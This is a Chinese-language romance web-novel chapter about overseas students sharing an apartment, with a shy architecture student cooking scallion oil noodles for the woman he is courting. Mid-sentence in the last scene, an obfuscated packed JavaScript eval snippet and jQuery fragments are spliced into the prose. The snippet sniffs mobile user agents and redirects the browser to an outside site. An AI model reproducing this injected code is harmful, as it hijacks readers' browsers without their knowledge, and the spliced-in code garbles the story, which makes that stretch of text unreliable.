图书馆穹顶的星空壁画在深夜十点准时苏醒，亚裔学生小组的拿铁在长桌连成银河。窗外QueensBlvd的霓虹车流与拉丁裔保安的手电光束交织，照见经济学教授留在白板上的爱情函数：当边际效用曲线与沉没成本渐近线相交，咖啡因浓度刚好达到心跳阈值。


    刚下课到图书馆自习凌志看到白玖恩自觉的坐到她旁边“玖恩啊，你这厨艺和谁学的啊，太厉害了吧，你的Ins里菜谱都被PDF连续传给各大群聊了，你现在真的在咱华人圈里都已经成为一个传说了。”


    “不至于吧，我只是把做做菜的流程放在Ins上仅此而已，大家可以自己试着做吗”


    “你要知道天赋是一种神秘的感觉”


    “哈哈”


    “话说起来，你觉得我兄弟怎么样？”


    “什么怎么样”


    “就是第一映象对吴祁”


    “我第一次见他好像是你们在做饭？就觉得高高瘦瘦的，中国人，恩，还有皮肤挺白的”


    “……fine”凌志挠挠头“但现在有个情况，他原先住的地方发生入室抢劫了，跨年得搬来和咱一起住，我问过另一个舍友了，她刚好交换生期满了，房间空了下来”凌志忐忑的看着白玖恩，怕玖恩觉得先斩后奏“玖恩你放心，虽然你一个小女生和我俩住，但你放心，我们还是很安全的，也没啥不良嗜好，不会吵到你的”


    白玖恩无语看着凌志“......我是想你俩在的话，我是不是得多开火做饭”


    “你同意啦”美滋滋的凌志“放心，我俩想吃啥会提前买好食材的，不会让大厨你太过费心”说完就提包跑出图书馆。


    ---


    冰箱突然发出轰鸣，震得顶层冰格里的威士忌球叮咚作响。白玖恩转身递来共享协议，鎏金钢笔在纸面游走时，他注意到她虎口处有极浅的烫伤旧痕——这双手既能执笔撰写市场分析报告，亦能握紧铸铁锅柄翻炒乡愁。


    “合作愉快。“她抬眼时杏核状瞳孔掀起微型海啸，吴祁签字的手悬停半空，墨水滴在违约金条款上，氤氲成富士山轮廓。走廊传来电梯抵达的叮声，惊醒了悬挂在防盗链上的铜铃，却惊不散滞留在她唇珠上的反光——那是种介于玫瑰与红酒之间的湿润色泽，让他想起大二那年熬夜制作的威尼斯教堂模型，晨光穿透彩玻时也带着这般危险的光晕。


    当夜吴祁在建筑图纸边缘画满了无限符号，激光笔的红点游走过她留在咖啡杯沿的唇印。凌晨三点雨打窗棂时，他忽然起身调转书桌方向——这样抬眼就能看见她贴在门后的课程表，墨香未干的《消费者行为学》旁，贴着张泛黄的东方美人茶海报。


    “衣柜分区图。“他突然递来平板，屏幕上用CAD绘制的立体分割图正缓缓旋转，“每周二四六我用烘干机。“白玖恩的指甲在行李箱密码锁上敲出三短两长的节奏，这是她紧张时的小动作。吴祁的视线在那截泛粉的指尖停留两秒，突然从塑料袋掏出盒草莓牛奶抛过去。


    “租金含水电。“他咬开冰咖啡拉环时喉结划出锋利弧度，“但凌晨三点后画图会开台灯。“暴雨淹没了后半句，白玖恩看着他卫衣背后印着的“Lessismore“被雨光洇成流动的银河，忽然发现两人影子在磨砂玻璃上交叠成中世纪的滴水兽轮廓。


    墙角的老旧空调突然轰鸣，惊醒了挂在衣架上的建筑系围裙。吴祁转身调试温度时，白玖恩瞥见他后颈处贴着的膏药边缘微微翘起，薄荷味药贴的气息混着他身上雪松香，在潮湿空气里酿成危险的鸡尾酒。


    --------


    窗外是异国黄昏特有的浓稠暮色，将小小的公寓厨房染上一层暖橘。灶台上，一小锅清水正咕嘟咕嘟地冒着细密的气泡，水汽氤氲。空气里，已经开始弥漫一种令人安心的、属于家的焦香——那是小葱段在热油里渐渐变得金黄酥脆的声音和气息。


    白玖恩靠在流理台边，手里漫无目的地捻着一根细长的青葱，看着吴祁忙碌的背影。他今天穿了一件质地柔软的灰色卫衣，袖子挽到手肘，露出线条分明的小臂。他动作并不算特别娴熟，甚至带着点理工科特有的精确——放葱段前会用厨房纸巾吸干每一滴水珠，倒油时目光紧紧盯着量杯刻度，仿佛在进行一项精密的化学实验。


    “你真的严格按照那个‘祖传秘方’做的？”白玖恩忍不住笑问，打破了只有油锅滋滋声的宁静。她指的是吴祁一周前煞有介事分享给她的一个美食博主的葱油拌面教程，步骤详尽到近乎偏执。


    吴祁没回头，专注地用筷子拨弄着锅里渐渐卷曲、颜色加深的葱段，声音里带着一丝不易察觉的紧绷：“数据化操作才能保证风味稳定性，避免变量干扰最终结果。”他顿了顿，补充道，“尤其是……给你做的。”最后几个字几乎淹没在油锅的喧闹里，但白玖恩还是捕捉到了。


    她心尖微微一跳，像被羽毛轻轻搔了一下。从什么时候开始的呢？吴祁出现在她公寓门口的频率，从一周三次“恰好路过”来蹭饭，悄然变成了几乎承包了她冰箱里所有新鲜蔬菜水果的采购员。每次来，总带着点“顺手”或“实验室楼下超市打折”的、听起来无懈可击的理由。


    白玖恩并不知道，在吴祁那个贴满了各种数据标签的平板电脑深处，藏着一个名为“ProjectBN”（BN：BaiJiuen）的加密文件夹。里面躺着一份详尽的SWOT分析报告。


    ***Strengths(优势)：**地理邻近（同一栋公寓楼）；共同文化背景（缓解思乡）；具备基础烹饪技能（可提升）；逻辑清晰，执行力强；玖恩反馈良好（尤其对中餐）。


    ***Weaknesses(劣势)：**情感表达内敛；厨艺熟练度不足；缺乏浪漫经验；竞争对手可能性未知（需持续监测）。


    ***Opportunities(机会)：**利用“胃是离心脏最近的器官”理论（美食攻略）；共同课业压力下的互助需求；中国传统节日（创造共享时刻）；公寓公共厨房的天然社交场。


    ***Threats(威胁)：**玖恩可能只视为朋友；过度理性导致行动僵硬；意外事件（如烧糊菜品）；其他追求者介入风险。


    这份冷静到近乎冷酷的分析报告，是他理性世界的最高指导原则。而“承包食材采购”，正是“机会”栏下“美食攻略”和“创造共享时刻”的关键执行步骤。每一次递给她带着水珠的新鲜番茄，每一次“顺手”买来她随口提过的家乡酱菜，都是他精密计划里的一次微小胜利。他需要靠近，需要在她生活的日常里留下痕迹，需要……让她习惯他的存在，就像习惯呼吸空气。


    “水开了，下面。”吴祁的声音拉回了白玖恩的思绪。他关小了炸葱油的火，转身去拿挂面。就在他侧身靠近的瞬间，白玖恩闻到他身上淡淡的、干净的洗衣液味道，混杂着一丝实验室里金属和试剂的气息，以及此刻厨房里浓郁的葱油香。这种混合的气息，奇异地让她感到安心。


    “我来吧。”她自然地接过他手中的面条袋，指尖不经意擦过他的手背。吴祁像被微弱的电流击中，动作几不可察地僵了半秒，随即迅速收回手，掩饰性地推了下鼻梁上的眼镜框，喉结滚动了一下。“嗯，三百克，两人份正好。”


    他报出一个精确的数字，像是在汇报实验数据，目光却飞快地扫过白玖恩垂眸拆包装时微微颤动的睫毛。


    面条滑入沸水中，散开，升腾起更大的水雾。吴祁站在她旁边，用筷子轻轻搅动，防止粘连。两人挨得很近，手臂几乎相贴。厨房空间狭小，这份温热而短暂的靠近，在葱油霸道而温暖的香气包裹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031898|178667||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下，滋生出一丝难以言喻的暧昧。


    “葱油好了。”吴祁的声音低沉了些。他小心翼翼地将滚烫的、浸润了葱段全部精华的深琥珀色油脂倒入旁边一个耐热的碗里。金黄的葱酥点缀其中，像凝固的琥珀。他将碗推到白玖恩面前：“闻闻看？应该……达标了？”


    白玖恩凑近，深深吸了一口气。那是一种无法抗拒的、带着焦糖般甜香和葱蒜特有辛香的复合味道，热烈而温暖，瞬间充盈了整个鼻腔，直抵心脾。她满足地眯起眼，像一只被顺毛的猫：“好香！吴祁，你的方法真的很管用！”


    这句随口的夸奖，却像一颗投入平静湖面的石子，在吴祁心底漾开层层涟漪。他嘴角努力想压下一个上扬的弧度，最终还是失败了，露出一抹带着腼腆和巨大成就感的笑意，眼神亮得惊人。“主要是……原料好。”他低声说，目光落在白玖恩带着笑意的侧脸上，又迅速移开，仿佛多看一眼都是僭越。他真正的意思是，因为是为她做的。


    面条捞出，过了一遍凉水，变得根根分明、爽滑劲道。吴祁取过两个碗，用汤勺舀起滚烫的葱油，均匀地淋在面条上。深色的油脂包裹着洁白的细面，滋滋作响，香气瞬间被激发到极致。他又撒上一小把炸得酥脆的葱酥，最后，变戏法似的从调料碗里拿出两颗溏心蛋——那是白玖恩上次提过最喜欢的熟度。


    “你的。”他将其中一碗推到白玖恩面前，溏心蛋稳稳地卧在面条顶端，金黄的蛋液仿佛随时要流淌下来，诱人无比。他自己的那碗则朴素得多。


    白玖恩拿起筷子，将面条、葱油、葱酥和戳破溏心蛋流出的蛋液用力拌匀。每一根面条都裹上了油润的光泽，散发着致命诱惑的香气。她挑起一筷子送入口中，浓郁的葱油香混合着酱油的咸鲜回甘，面条的麦香，还有溏心蛋的醇厚丝滑，瞬间在味蕾上爆炸开。一种熨帖到灵魂深处的满足感油然而生，驱散了异国他乡的孤冷。


    她忍不住发出一声小小的喟叹，抬眼看向坐在对面的吴祁。他正低头专注地拌着自己的面，动作依旧带着点刻板的认真，暖黄的灯光在他低垂的眼睫下投下一小片阴影。他似乎感应到她的目光，抬起头，眼神交汇的刹那，白玖恩清晰地看到那镜片后深邃的眼底，翻涌着一种克制而汹涌的情绪——是期待，是紧张，是小心翼翼藏匿却几乎要满溢出来的温柔和专注。那眼神，比碗里热腾腾的葱油拌面更让她心头滚烫。


    吴祁喉结动了动，声音有些微哑：“味道……还行吗？”他问得谨慎，像是在等待一个至关重要的实验结果判决。


    “岂止是还行！”白玖恩笑容灿烂，心口的位置被一种温暖踏实的东西填满了，“好吃到……感觉心都被暖透了。”她指了指自己的胃，又轻轻按了按心口的位置，半开玩笑地说，“看来那句话是真的，‘胃是离心脏最近的器官’。”


    这句话像一把钥匙，精准地打开了吴祁心中某个锁住的盒子。他藏在桌下的手微微攥紧，那份冰冷的SWOT分析报告上，“机会：利用‘胃是离心脏最近的器官’理论”一行字仿佛瞬间被点亮、加粗。他成功了！至少在这个精心策划的“美食攻略”环节，他成功地将自己的心意，通过这一碗朴素的葱油拌面，无声地、无比接近地传递到了她心脏的位置。


    他低下头，掩饰住眼底几乎要藏不住的笑意和更深沉的悸动，只是用筷子轻轻搅动着碗里的面，低声说了一句，像是在自言自语，又像是在回应她，更像是在确认自己计划的可行性：


    “嗯，很近。很近就好。”


    厨房里，只剩下两人吸溜面条的细微声响，和那弥漫不散、浓郁得化不开的葱油香气，缠绕着两颗悄然靠近的心。吴祁的“ProjectBN”，在食物的氤氲热气中，不动声色地推进到了下一个关键阶段——让习惯，慢慢发酵成不可或缺的存在。